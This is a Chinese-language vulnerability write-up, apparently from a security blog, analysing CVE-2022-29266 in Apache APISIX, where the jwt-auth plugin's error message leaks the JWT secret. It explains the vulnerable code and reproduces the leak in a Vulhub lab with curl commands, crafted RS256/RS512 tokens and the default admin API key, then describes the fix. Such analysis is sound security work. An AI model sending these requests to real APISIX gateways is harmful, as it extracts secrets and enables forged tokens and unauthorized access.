漏洞描述
CVE-2022-29266 这个漏洞已经出现有些时间了,正好现在有时间,网上也出现了不少分析文章,今天来看看这个漏洞。
在 2.13.1 之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。
影响版本
低于 2.13.1 的 Apache APISIX 全部版本。
前要介绍
APISIX
Apache APISIX 是一个由 Apache 基金会孵化的一个开源的云原生 API 网关,具有高性能、可扩展的特点,与传统的 API 网关相比,APISIX 是通过插件的形式来提供负载均衡、日志记录、身份鉴权、流量控制等功能。
JWT
JSON Web Token 缩写成 JWT,常被用于和服务器的认证场景中,这一点有点类似于 Cookie 里的 Session id
JWT 支持 HS256、RS256、RS512 等等算法,JWT 由三部分构成,分别为 Header(头部)、Payload(负载)、Signature(签名),三者以小数点分割。
JWT 的第三部分 Signature 是对 Header 和 Payload 部分的签名,起到防止数据篡改的作用,如果知道了 Signature 内容,那么就可以伪造 JWT 了。
JWT 的格式类似于这样:
Header.Payload.Signature
实际遇到的 JWT 一般是这种样子
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
漏洞分析
首先根据官方仓库的漏洞修复代码定位到 /apisix/plugins/jwt-auth.lua 文件的第 364 行,如果 JWT 无效则在 return 返回 401 并给出无效的原因,即 jwt_obj.reason
接着在 lua-resty-jwt 库中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有个 jwt_obj.reason 中包含了 secret,这里代码的意思是说,如果程序执行正常就返回 secret 的值,否则就返回具体的异常信息。
.. 表示字符串拼接,即把后面代码的值拼接到字符串中
err and err or secret 所表示的意思是:如果 err 为 nil,则返回 secret 的值,否则返回 err
那么接下来要做的就是怎么样构建 payload 才能让代码进入到第 782 行,从而让 jwt_obj.reason 返回我们想要的 secret 呢?那么就要看看 782 行上面的代码。
通过上图可以看到,如果想执行到第 782 行,需要满足四个条件,分别如下:
- 756 行,JWT 的算法需要是 RS256 或者 RS512
- 758 行,trusted_certs_file 值需要为 nil
- 774 行,secret 值不能为 nil
- 781 行,cert 的值需要为 nil 或者 false
~= 表示不等于
首先,第一个条件,JWT 的算法需要是 RS256 或者 RS512,这个很简单,只需要 JWT 的 header 部分的 alg 参数为 RS256 或者 RS512 即可。
接着,第二个条件,trusted_certs_file 即信任证书文件,APISIX 默认算法是 HS256,而 HS256 和 HS512 不支持这种证书文件的方式,因此只要我们使用 HS256 或者 HS512 算法就行了。
然后,第三个条件,secret 值不能为 nil,当 APISIX 使用 jwt-auth 插件的时候,如果使用的默认算法,就需要指定 secret 的值,那么这个 secret 的值就不会是 nil 了。
最后,第四个条件,cert 的值需要为 nil 或者 false,在 776 行至 779 行的代码中,可以看到会判断 secret 中有没有 CERTIFICATE 和 PUBLIC KEY,如果有那么 cert 就不会是 nil 了,那么也就是说,只要 secret 中没有 CERTIFICATE 和 PUBLIC KEY,代码就会执行到第 782 行,并且返回 secret 的值。
所以分析到这里就基本清楚了,漏洞利用的前提有以下三个:
- APISIX 需要开启 jwt-auth 插件
- jwt-auth 插件算法需要是 HS256 或者 HS512
- secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串
如果满足了这三个前提,当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候,我们就会得到 jwt-auth 中的 secret,从而实现 JWT 伪造了。
那么下面就开始搭环境,复现,顺便验证下漏洞分析的正确性。
环境搭建
在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶场,APISIX 版本为 2.11.0,因此我们可以直接用这个靶场作为 CVE-2022-29266 的靶场进行复现。
环境搭建命令:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/apisix/CVE-2020-13945
docker-compose up -d
访问 http://your-ip:9080 地址即可
漏洞复现
首先需要一个 RS256 算法的 JWT 值,这里为了方便直接在 jwt.io 中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。
{"key": "rs-key"}
生成的 JWT 值如下:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg
接着创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法,secret 值为 teamssix-secret-key
curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "teamssix-secret-key"
}
}
}'
然后再创建 Route 对象,并开启 jwt-auth 插件
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'
这时其实漏洞环境才算搭好,接下来就可以开始发送 Payload 了。
将刚才由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由,这样就可以获得刚才设置的 secret 值了。
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i
当我们拿到这个 sceret 值后,就可以伪造 JWT Token 了。
那么根据上面的漏洞分析,这里如果使用 RS512 算法应该也能触发这个漏洞,在 jwt.io 上生成 RS512 的 JWT 值如下:
eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ovew
利用 curl 访问
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ovew -i
果然使用 RS512 算法同样可以触发,说明漏洞分析的没毛病。
接着看看如果 secret 中包含了 CERTIFICATE 和 PUBLIC KEY 字符串,会返回什么。
重新开一个环境后,创建一个 consumer 对象,这次 secret 设置为 teamssix-CERTIFICATE
curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "teamssix-CERTIFICATE"
}
}
}'
创建 Route 对象,并开启 jwt-auth 插件
curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'
触发漏洞
curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i
可以看到,这里并没有返回刚才设置的 secret 值,而是返回了 not enough data,即 err 的信息,这表明此时 cert 的值已经不为 nil 了,再次证明了上面的分析。
漏洞代码修复
观察 APISIX 的漏洞修复信息,可以看到对 jwt-auth.lua 文件的第 364 和 395 行进行了修改,修复信息地址:https://github.com/apache/apisix/commit/61a48a2524a86f2fada90e8196e147538842db89
这里是将原来的直接返回报错原因改成了返回 JWT token invalid 和 JWT token verify failed 的文本信息。
修复方案
- 升级至 Apache APISIX 2.13.1 及以上版本
- 安装补丁包,补丁包地址详见:https://apisix.apache.org/zh/blog/2022/04/20/cve-2022-29266
总结
这个漏洞最终造成的风险是 JWT 伪造,但前提是需要对方的 APISIX 开启了 jwt-auth 插件才行,并且如果有细心的读者可能会发现,当我们构造 RS256 算法的 JWT 时,需要先知道目标 APISIX consumer 对象的 key 值,因此这个漏洞利用起来还是有一定限制的。
这篇文章也已经同步到了 T Wiki 云安全知识文库中,文库地址:wiki.teamssix.com,文库中都是云安全相关的文章,并且有很多来自大家共同贡献的云安全资源,也非常欢迎你一起来补充 T Wiki 云安全知识文库。
由于笔者个人的技术水平有限,因此如果文章中有什么不正确的地方,欢迎在留言处指正,不胜感激。
更多信息欢迎关注我的个人微信公众号:TeamsSix
参考链接:
https://www.jianshu.com/p/1b2c56687d0d
https://teamssix.com/211214-175948.html
https://apisix.apache.org/blog/2022/04/20/cve-2022-29266
https://zone.huoxian.cn/d/1130-apache-apisix-jwt-cve-2022-29266